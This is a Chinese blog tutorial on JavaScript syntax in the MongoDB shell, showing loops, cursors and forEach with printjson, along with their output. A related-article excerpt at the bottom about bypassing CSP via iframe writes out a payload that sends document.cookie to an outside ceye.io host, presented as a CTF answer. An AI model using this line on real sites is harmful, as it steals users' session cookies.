Mongodb中的js语法

摘要:
定义一个变量˃varlen=10;For循环这里的db和data都可以作为对象save是方法接收一个临时定义的对象˃for(vari=0;idb.data.find();{"_id":ObjectId("593177646a6bb0f03293efe1"),"x":0}{"_id
  1. 定义一个变量
  2. > var len = 10;
  3. For循环 这里的db和data都可以作为对象 save是方法 接收一个临时定义的对象
  4. > for(var i = 0; i < len; i++){db.data.save({x:i})};
  5. WriteResult({ "nInserted" : 1 })
  6. > db.data.find();
  7. { "_id" : ObjectId("593177646a6bb0f03293efe1"), "x" : 0 }
  8. { "_id" : ObjectId("593177646a6bb0f03293efe2"), "x" : 1 }
  9. { "_id" : ObjectId("593177646a6bb0f03293efe3"), "x" : 2 }
  10. { "_id" : ObjectId("593177646a6bb0f03293efe4"), "x" : 3 }
  11. { "_id" : ObjectId("593177646a6bb0f03293efe5"), "x" : 4 }
  12. { "_id" : ObjectId("593177646a6bb0f03293efe6"), "x" : 5 }
  13. { "_id" : ObjectId("593177646a6bb0f03293efe7"), "x" : 6 }
  14. { "_id" : ObjectId("593177646a6bb0f03293efe8"), "x" : 7 }
  15. { "_id" : ObjectId("593177646a6bb0f03293efe9"), "x" : 8 }
  16. { "_id" : ObjectId("593177646a6bb0f03293efea"), "x" : 9 }
  17. 使用游标查询
  18. > var cur = db.data.find();
  19. > cur[1]
  20. { "_id" : ObjectId("593177646a6bb0f03293efe2"), "x" : 1 }
  21. > printjson(cur[1])
  22. { "_id" : ObjectId("593177646a6bb0f03293efe2"), "x" : 1 }
  23. > var cur = db.data.find();
  24. 对游标执行While循环
  25. > while(cur.hasNext()) printjson(cur.next());
  26. { "_id" : ObjectId("593177646a6bb0f03293efe1"), "x" : 0 }
  27. { "_id" : ObjectId("593177646a6bb0f03293efe2"), "x" : 1 }
  28. { "_id" : ObjectId("593177646a6bb0f03293efe3"), "x" : 2 }
  29. { "_id" : ObjectId("593177646a6bb0f03293efe4"), "x" : 3 }
  30. { "_id" : ObjectId("593177646a6bb0f03293efe5"), "x" : 4 }
  31. { "_id" : ObjectId("593177646a6bb0f03293efe6"), "x" : 5 }
  32. { "_id" : ObjectId("593177646a6bb0f03293efe7"), "x" : 6 }
  33. { "_id" : ObjectId("593177646a6bb0f03293efe8"), "x" : 7 }
  34. { "_id" : ObjectId("593177646a6bb0f03293efe9"), "x" : 8 }
  35. { "_id" : ObjectId("593177646a6bb0f03293efea"), "x" : 9 }
  36. 多么典型的js语法 直接接收一个方法
  37. > db.data.find().forEach(printjson);
  38. { "_id" : ObjectId("593177646a6bb0f03293efe1"), "x" : 0 }
  39. { "_id" : ObjectId("593177646a6bb0f03293efe2"), "x" : 1 }
  40. { "_id" : ObjectId("593177646a6bb0f03293efe3"), "x" : 2 }
  41. { "_id" : ObjectId("593177646a6bb0f03293efe4"), "x" : 3 }
  42. { "_id" : ObjectId("593177646a6bb0f03293efe5"), "x" : 4 }
  43. { "_id" : ObjectId("593177646a6bb0f03293efe6"), "x" : 5 }
  44. { "_id" : ObjectId("593177646a6bb0f03293efe7"), "x" : 6 }
  45. { "_id" : ObjectId("593177646a6bb0f03293efe8"), "x" : 7 }
  46. { "_id" : ObjectId("593177646a6bb0f03293efe9"), "x" : 8 }
  47. { "_id" : ObjectId("593177646a6bb0f03293efea"), "x" : 9 }
  48. 接收一个临时定义的带参数的方法
  49. > db.data.find().forEach(function(e){printjson(e)});
  50. { "_id" : ObjectId("593177646a6bb0f03293efe1"), "x" : 0 }
  51. { "_id" : ObjectId("593177646a6bb0f03293efe2"), "x" : 1 }
  52. { "_id" : ObjectId("593177646a6bb0f03293efe3"), "x" : 2 }
  53. { "_id" : ObjectId("593177646a6bb0f03293efe4"), "x" : 3 }
  54. { "_id" : ObjectId("593177646a6bb0f03293efe5"), "x" : 4 }
  55. { "_id" : ObjectId("593177646a6bb0f03293efe6"), "x" : 5 }
  56. { "_id" : ObjectId("593177646a6bb0f03293efe7"), "x" : 6 }
  57. { "_id" : ObjectId("593177646a6bb0f03293efe8"), "x" : 7 }
  58. { "_id" : ObjectId("593177646a6bb0f03293efe9"), "x" : 8 }
  59. { "_id" : ObjectId("593177646a6bb0f03293efea"), "x" : 9 }

免责声明:文章转载自《Mongodb中的js语法》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇生产环境中不小心升级了glibc该怎么办?vue中引入第三方字体图标库iconfont,及iconfont引入彩色图标下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

js--定时器

js定时器整理(执行一次、重复执行) 在javascritp中,有两个关于定时器的专用函数,分别为: 1.倒计定时器:timename=setTimeout("function();",delaytime); 2.循环定时器:timename=setInterval("function();",delaytime); 第一个参数“function()”是定...

jquery----语法扩展(导入js文件)

简单使用 第一步,新建js文件 第二步,在js文件中添加 $.extend({ "GDP": function () { console.log("哈哈哈哈"); } }); 第三步,在html中使用   $.GDP()  即可 复杂(1,希望一些函数不可以被外部引用,不可以被修改$) (functi...

浅谈Js 操作Cookie,以及HttpOnly 的限制

. Js 操作 Cookie. 一般来说,只有服务器操作Cookie 才能保证一些必要的安全。但有时候,可能需要前端来增删改查 Cookie, 这个时候咱们的主角出现了——HttpOnly(๑•̀ㅂ•́) ✧. HttpOnly: HttpOnly is an additional flag included in a Set-Cookie HTTP re...

原生js动态创建、获取、删除属性的几种方式

1.创建属性 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>动态创建属性</title> <style> .democlass{color:blue;} </style> </hea...

js中不同值的替换

function(button, e) { debugger; // 中断调试指令,可以手动删除它 var me = this, //this为列表视图控制器 viewModel = me.getViewModel(),...

通过iframe标签绕过csp

iframe.php代码如下: allow-popups开启时,window.open就可以打开新的窗口。 看csp规则,默认是在当前域内,如果这是一个ctf题的话,就很简单了,window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不...